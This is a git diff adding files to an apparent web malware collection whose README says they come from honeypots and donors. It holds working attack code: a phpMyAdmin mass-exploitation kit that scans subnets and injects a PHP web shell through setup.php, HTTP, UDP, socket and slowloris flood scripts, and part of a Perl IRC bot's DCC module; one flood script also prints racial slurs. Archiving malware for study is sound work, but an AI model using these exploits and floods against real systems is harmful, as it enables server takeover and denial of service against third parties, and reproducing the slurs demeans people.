my $size_total=$filestat[7]; + if ($size_total == 0) { + return(0); + } + + my ($porta, $sendsock); + do { + $porta = int rand(64511); + $porta += 1024; + $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock); + } until $sendsock; + + $DCC{$sendsock}{tipo} = 'send'; + $DCC{$sendsock}{nick} = $nick; + $DCC{$sendsock}{bytes} = $size_total; + $DCC{$sendsock}{arquivo} = $arquivo; + + + &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total"); + +} + +sub GET { + my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_; + return(0) if (-e "$arquivo"); + if (PrivoxyWindowOpen(FILE, "> $arquivo")) { + close FILE; + } else { + return(0); + } + + my $dccip=fixaddr($dcclongip); + return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); + my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); + $dccsock->autoflush(1); + $dcc_sel->add($dccsock); + $DCC{$dccsock}{tipo} = 'get'; + $DCC{$dccsock}{itime} = time; + $DCC{$dccsock}{nick} = $nick; + $DCC{$dccsock}{bytes} = $bytes; + $DCC{$dccsock}{curbyte} = 0; + $DCC{$dccsock}{arquivo} = $arquivo; + $DCC{$dccsock}{ip} = $dccip; + $DCC{$dccsock}{porta} = $dccporta; + $DCC{$dccsock}{status} = "Recebendo"; +} + +# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas +sub Status { + my $socket = shift; + my $sock_tipo = $DCC{$socket}{tipo}; + unless (lc($sock_tipo) eq "chat") { + my $nick = $DCC{$socket}{nick}; + my $arquivo = $DCC{$socket}{arquivo}; + my $itime = $DCC{$socket}{itime}; + my $ftime = time; + my $status = $DCC{$socket}{status}; + $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime}); + + my $d_time = $ftime-$itime; + + my $cur_byte = $DCC{$socket}{curbyte}; + my $bytes_total = $DCC{$socket}{bytes}; + + my $rate = 0; + $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; + my $porcen = ($cur_byte*100)/$bytes_total; + + my ($r_duv, $p_duv); + if ($rate =~ /^(d+).(d)(d)(d)/) { + $r_duv = $3; $r_duv++ if $4 >= 5; + $rate = "$1.$2"."$r_duv"; + } + if ($porcen =~ /^(d+).(d)(d)(d)/) { + $p_duv = $3; $p_duv++ if $4 >= 5; + $porcen = "$1.$2"."$p_duv"; + } + return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); + } + + + return(0); +} + + +# esse 'sub fixaddr' daki foi pego do NET::IRC::DCC identico soh copiei e coloei (colokar nome do autor) +sub fixaddr { + my ($address) = @_; + + chomp $address; # just in case, sigh. + if ($address =~ /^d+$/) { + return inet_ntoa(pack "N", $address); + } elsif ($address =~ /^[12]?d{1,2}.[12]?d{1,2}.[12]?d{1,2}.[12]?d{1,2}$/) { + return $address; + } elsif ($address =~ tr/a-zA-Z//) { # Whee! Obfuscation! + return inet_ntoa(((gethostbyname($address))[4])[0]); + } else { + return; + } +} + + + + + + + + + diff --git a/web-malware-collection-master/Honey/Exploits/pma/README b/web-malware-collection-master/Honey/Exploits/pma/README new file mode 100755 index 0000000..aea5222 --- /dev/null +++ b/web-malware-collection-master/Honey/Exploits/pma/README @@ -0,0 +1 @@ +NOTE: I had to remove 2 binaries, they were just port scanners but still. Sorry :( diff --git a/web-malware-collection-master/Honey/Exploits/pma/conf b/web-malware-collection-master/Honey/Exploits/pma/conf new file mode 100755 index 0000000..f0fe6ad --- /dev/null +++ b/web-malware-collection-master/Honey/Exploits/pma/conf @@ -0,0 +1,4 @@ +/phpMyAdmin/ +/phpmyadmin/ +/mysql/ +/ \ No newline at end of file diff --git a/web-malware-collection-master/Honey/Exploits/pma/go b/web-malware-collection-master/Honey/Exploits/pma/go new file mode 100755 index 0000000..2ed1a18 --- /dev/null +++ b/web-malware-collection-master/Honey/Exploits/pma/go @@ -0,0 +1,7 @@ +rm -rf bios.txt mfu.txt vuln.txt +./ss 80 -b $1 -i eth0 -s 8 +sleep 5 +cat bios.txt | sort | uniq > mfu.txt +./test mfu.txt vuln 50 conf +php -f tmp vuln.txt +rm -rf exploitcookie.txt diff --git a/web-malware-collection-master/Honey/Exploits/pma/mass b/web-malware-collection-master/Honey/Exploits/pma/mass new file mode 100755 index 0000000..7d245c7 --- /dev/null +++ b/web-malware-collection-master/Honey/Exploits/pma/mass @@ -0,0 +1,14 @@ +#!/bin/bash + +if [ $# != 1 ]; then +echo "#Usage: $0 <class> " +exit; +fi + +x=0 +while [ $x -le 254 ] +do + sh go $1.$x + x=$((x+1)) + sleep 3 +done diff --git a/web-malware-collection-master/Honey/Exploits/pma/pma b/web-malware-collection-master/Honey/Exploits/pma/pma new file mode 100755 index 0000000..e69de29 diff --git a/web-malware-collection-master/Honey/Exploits/pma/tmp b/web-malware-collection-master/Honey/Exploits/pma/tmp new file mode 100755 index 0000000..c8678b7 --- /dev/null +++ b/web-malware-collection-master/Honey/Exploits/pma/tmp @@ -0,0 +1,12 @@ +<?php set_time_limit(0); +if ($argc < 2) { +print("\n[+] Massxpl Dizzy^Coder\n"); +print("\n[!] <Infile>\n"); +die(); +} + $lines =file($argv[1]); + foreach($lines as $host) +{ +system("php -f xpl $host"); +} +?> diff --git a/web-malware-collection-master/Honey/Exploits/pma/xpl b/web-malware-collection-master/Honey/Exploits/pma/xpl new file mode 100755 index 0000000..977e113 --- /dev/null +++ b/web-malware-collection-master/Honey/Exploits/pma/xpl @@ -0,0 +1,68 @@ +<?php +$url =$argv[1]; +exploit($url); + function exploit($w00t) { + $Handlex = FOpen("pma", "a+"); + $useragent = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729) "; //firefox + //first get cookie + token + $curl = curl_init(); + curl_setopt($curl, CURLOPT_URL, $w00t."scripts/setup.php"); //URL + curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20); + curl_setopt($curl, CURLOPT_USERAGENT, $useragent); + curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); + curl_setopt($curl, CURLOPT_TIMEOUT, 200); + curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); + curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false); + curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); //return site as string + curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt"); + curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt"); + $result = curl_exec($curl); + curl_close($curl); + if (preg_match_all("/token\"\s+value=\"([^>]+?)\"/", $result, $matches)); + + $token = $matches[1][1]; + if ($token != '') { + print "\n[!] w00t! w00t! Got token = " . $matches[1][1]; + $payload = "token=".$token."&action=save&configuration=a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d=%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3bsystem(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"; + print "\n[+] Sending evil payload mwahaha.. \n"; + $curl = curl_init(); + curl_setopt($curl, CURLOPT_URL, $w00t."scripts/setup.php"); + curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 20); + curl_setopt($curl, CURLOPT_TIMEOUT, 200); + curl_setopt($curl, CURLOPT_USERAGENT, $useragent); + curl_setopt($curl, CURLOPT_REFERER, $w00t); + curl_setopt($curl, CURLOPT_POST, true); + curl_setopt($curl, CURLOPT_POSTFIELDS, $payload); + curl_setopt($curl, CURLOPT_COOKIEFILE, "exploitcookie.txt"); + curl_setopt($curl, CURLOPT_COOKIEJAR, "exploitcookie.txt"); + curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 3); + curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1); + curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, FALSE); + $result = curl_exec($curl); + curl_close($curl); + + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, "".$w00t."config/config.inc.php?c=id"); + curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); + curl_setopt($ch, CURLOPT_TIMEOUT, 5); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); + + $res = curl_exec($ch); + if(preg_match("/uid=/", $res)){ + print "\n[+] ".$w00t."config/config.inc.php?c=id \n"; + FWrite($Handlex, "".$w00t."config/config.inc.php?c=uname -a;id \n"); + curl_close ($ch); + } + + else { + print "\n[!] Shit! no luck.. not vulnerable\n"; + return false; + } + FClose($Handlex); + if (file_exists('exploitcookie.txt')) { unlink('exploitcookie.txt'); } + //exit(); + } +} +?> diff --git a/web-malware-collection-master/Malicious Scripts/httpflood.php b/web-malware-collection-master/Malicious Scripts/httpflood.php new file mode 100755 index 0000000..7f35fb3 --- /dev/null +++ b/web-malware-collection-master/Malicious Scripts/httpflood.php @@ -0,0 +1,32 @@ +<?php +/* +All credits go to LUKE from ChickenX +Best coder in my eyes - Matin +*/ +$ip = $_GET['ip']; +$page = $_GET['page']; +set_time_limit(0); +ignore_user_abort(FALSE); + +$exec_time = $_GET['time']; +$time = time(); +$max_time = $time+$exec_time; + +while(1){ + if(time() > $max_time){ + break; + } + + $fp = fsockopen("$ip", 80, $errno, $errstr, 30); + if (!$fp) { + echo "$errstr ($errno)<br />\n"; + } else { + $out = "GET $page HTTP/1.1\r\n"; + $out .= "Host: $ip\r\n"; + $out .= "Accept: */*\r\n"; + $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n\r\n"; + fwrite($fp, $out); + } +} +echo "HTTP flood complete after: $exec_time seconds\n"; +?> diff --git a/web-malware-collection-master/Malicious Scripts/multiflood.php b/web-malware-collection-master/Malicious Scripts/multiflood.php new file mode 100755 index 0000000..51b7b25 --- /dev/null +++ b/web-malware-collection-master/Malicious Scripts/multiflood.php @@ -0,0 +1,110 @@ +<?php +function screen($text, $type = 'INFO', $die = false){ + ($die ? die("$text\n") : print('[' . date('H:i:s a') . "] [$type] -> $text\n")); +} +function upCheck($url) { + $ch = curl_init($url); + curl_setopt($ch, CURLOPT_NOBODY, true); + curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); + curl_exec($ch); + $code = curl_getinfo($ch, CURLINFO_HTTP_CODE); + curl_close($ch); + return ($code == 200 ? true : false); +} +define('TARGET', "http://localhost/register.php"); +define('FLOOD_TYPE', strtolower('http')); //change socket to the flood type you want ;) +define('THREADING', 'ON'); //Can be 'ON' or 'OFF' +define('THREADS', (int)275); +define('OS', strtoupper(substr(PHP_OS, 1, 3))); +if(!in_array(FLOOD_TYPE, array('http', 'udp', 'tcp', 'socket'))) screen('Unrecognized flood type.', 'TYPE', true); + +if(!FLOOD_TYPE == 'http'){ + $exp = explode(':', TARGET); + if(!$exp) screen('Malformed target or error exploding target string', 'ERROR', true); + if(!@$exp[0] || !@$exp[1]) screen('Malformed target.', 'ERROR', true); + if(!is_numeric($exp[1])) screen('Port is not numeric.', 'ERROR', true); + + define('HOST', @$exp[0]); + define('PORT', (int)@$exp[1]); + unset($exp); +} + +switch(FLOOD_TYPE){ + case 'socket': + $lol = 'NIGGERS.NIGGERS.NIGGERS.NIGGERS.NIGGERS'; + $count = 1; + $tSock = socket_create(AF_INET, SOCK_STREAM, 0) or screen('Unable to create test socket.', 'ERROR', true); + if(!@socket_connect($tSock, HOST, PORT)) screen('Unable to connect (Test socket)', 'ERROR', true); + @socket_close($tSock); + screen('Initiating socket flood.'); + if(THREADING == 'ON' && !OS == 'WIN'){ + screen('Threading is ON.' . chr(10) . 'Creating threads..'); + for($i = 0; $i <= THREADS; $i++){ + $pid = pcntl_fork(); + if(!$pid == 0) break; + pcntl_wait($status); + screen(sprintf("Thread %s created (PID: %s)", $i, $pid)); + } + } + while(true){ + $sock = socket_create(AF_INET, SOCK_STREAM, 0); + if(@socket_connect($sock, HOST, PORT)){ + $lol .= '.NIGGERS.NIGGERS'; + @socket_write($sock, $lol); + (!OS == 'WIN') ? screen("Packet sent! (Count: $count, PID: $pid)") : screen("Packet sent! (Count: $count)"); + $count++; + } else { + screen('Unable to connect.'); + } + } + break; + case 'http': + upCheck(TARGET); + screen('Initiating HTTP flood..'); + define('FILE_EXT', '.htm'); //Change if needed + $count = 1; + if(THREADING == 'ON' && !OS == 'WIN'){ + screen('Threading is ON.' . chr(10) . 'Creating threads..' . chr(10)); + for($i = 0; $i <= THREADS; $i++){ + $pid = pcntl_fork(); + if(!$pid == 0) break; + pcntl_wait($status); + screen(sprintf("Thread %s created (PID: %s)", $i, $pid)); + } + } + (!is_dir('FILES') ? mkdir('FILES') : 'OK'); + $bytes = ''; + $format = ''; + while(!$pid == 0){ + MakeFile: + $randint = rand(1, 9999); + if(!file_exists('FILES' . $randint . FILE_EXT)){ + copy(TARGET, 'FILES/' . $randint . FILE_EXT); + if(file_exists('FILES/' . $randint . FILE_EXT)){ + $bytes += filesize('FILES/' . $randint . FILE_EXT); + $format = number_format(($bytes/1024),2,'.','') . 'KB'; + @unlink('FILES/' . $randint . FILE_EXT); + } + if(THREADING == 'ON' && !OS == 'WIN'){ + screen(sprintf("Rape #%s (%s) | Total Rape: %s", $count, $pid, $format)); + } else { + screen(sprintf("Rape #%s | Total Rape: %s", $count, $format)); + } + $count++; + } + else goto MakeFile; + } + break; +} + +function __destruct(){ + if(is_dir('FILES')){ + foreach(readdir('FILES') as $i=> $file){ + unlink($file); + } + rmdir('FILES'); + } +} +?> + + diff --git a/web-malware-collection-master/Malicious Scripts/slowloris.php b/web-malware-collection-master/Malicious Scripts/slowloris.php new file mode 100755 index 0000000..028ca7f --- /dev/null +++ b/web-malware-collection-master/Malicious Scripts/slowloris.php @@ -0,0 +1,32 @@ +<?php +/* +All credits go to LUKE from ChickenX +Best coder in my eyes - Matin +*/ +$ip = $_GET['ip']; +set_time_limit(0); +ignore_user_abort(FALSE); + +$exec_time = $_GET['time']; +$time = time(); +$max_time = $time+$exec_time; + +while(1){ + if(time() > $max_time){ + break; + } + + $fp = fsockopen($ip, 80, $errno, $errstr, 140); + if (!$fp) { + echo "$errstr ($errno)<br />\n"; + } else { + $out = "POST / HTTP/1.1\r\n"; + $out .= "Host: $ip\r\n"; + $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n"; + $out .= "Content-Length: 42\r\n\r\n"; + + fwrite($fp, $out); +} +} +echo "Slowloris flood complete after: $exec_time seconds\n"; +?> diff --git a/web-malware-collection-master/Malicious Scripts/udp-flood.php b/web-malware-collection-master/Malicious Scripts/udp-flood.php new file mode 100755 index 0000000..0137343 --- /dev/null +++ b/web-malware-collection-master/Malicious Scripts/udp-flood.php @@ -0,0 +1,83 @@ +<html> +<head> +Hex Booter +<?php +$ip = $_SERVER['REMOTE_ADDR']; +?> +</head> +<body> +<center> +<font color="blue"> +<pre> + _______(_ | o ,' `. +|:::::::::\ | : `--. \ +|::::::::::| | (-) \ : +|::::::::::| | / @: | +|::::::::::| | `: : : +|::::::::::| | \- ;/ +|::::::::::| | "---'=\ +|::::::::::| | ___ / `.\ +'-------,--'--.-' ____,:__/`-.:_,-* :' +-------'-------`---`-----' `-. _, | +--------------------------' `---" | +<center><b>Your IP:</b> <font color="blue"><?php echo $ip; ?></font> Don't Dos yourself<br><br></center> +</pre> +<STYLE> +input{ +background-color: blue; font-size: 8pt; color: white; font-family: Tahoma; border: 1 solid #666666; +} +button{ +background-color: #00FF00; font-size: 8pt; color: #000000; font-family: Tahoma; border: 1 solid #666666; +} +body { +background-color: #000000; +} +</style> +<?php +//UDP +if(isset($_GET['host'])&&isset($_GET['time'])){ + $packets = 0; + ignore_user_abort(TRUE); + set_time_limit(0); + + $exec_time = $_GET['time']; + + $time = time(); + //print "Started: ".time('d-m-y h:i:s')."<br>"; + $max_time = $time+$exec_time; + + $host = $_GET['host']; + + for($i=0;$i<65000;$i++){ + $out .= 'X'; + } + while(1){ + $packets++; + if(time() > $max_time){ + break; + } + $rand = rand(1,65000); + $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5); + if($fp){ + fwrite($fp, $out); + fclose($fp); + } + } + echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n"; + echo '<br><br> + <form action="'.$surl.'" method=GET> + <input type="hidden" name="act" value="phptools"> + IP: <br><input type=text name=host><br> + Length (seconds): <br><input type=text name=time><br> + <input type=submit value=Go></form>'; +}else{ echo '<br><b>UDP Flood</b><br> + <form action=? method=GET> + <input type="hidden" name="act" value="phptools"> + IP: <br><input type=text name=host value=><br> + Length (seconds): <br><input type=text name=time value=><br><br> + <input type=submit value=Go></form>'; +} +?> +</center> +</body> +</html> diff --git a/web-malware-collection-master/README b/web-malware-collection-master/README new file mode 100755 index 0000000..9102cba --- /dev/null +++ b/web-malware-collection-master/README @@ -0,0 +1,11 @@ +WARNING: These files are malicious. They are recovered from honeypots, deposited by "donors" and found by endless googling. + +The structure is broken down to Backdoors, Bots, Honey, and Malicious Scripts. + +Backdoors be backdoors. They are likely backdoored by their authors. +Bots are bots. Obviously. +"Honey" means random unsorted crap from honeypots. +Malicious Scripts are everything from iFramers, to DoS scripts, to scanners. + +blog.infodox.co.cc +@the_infodox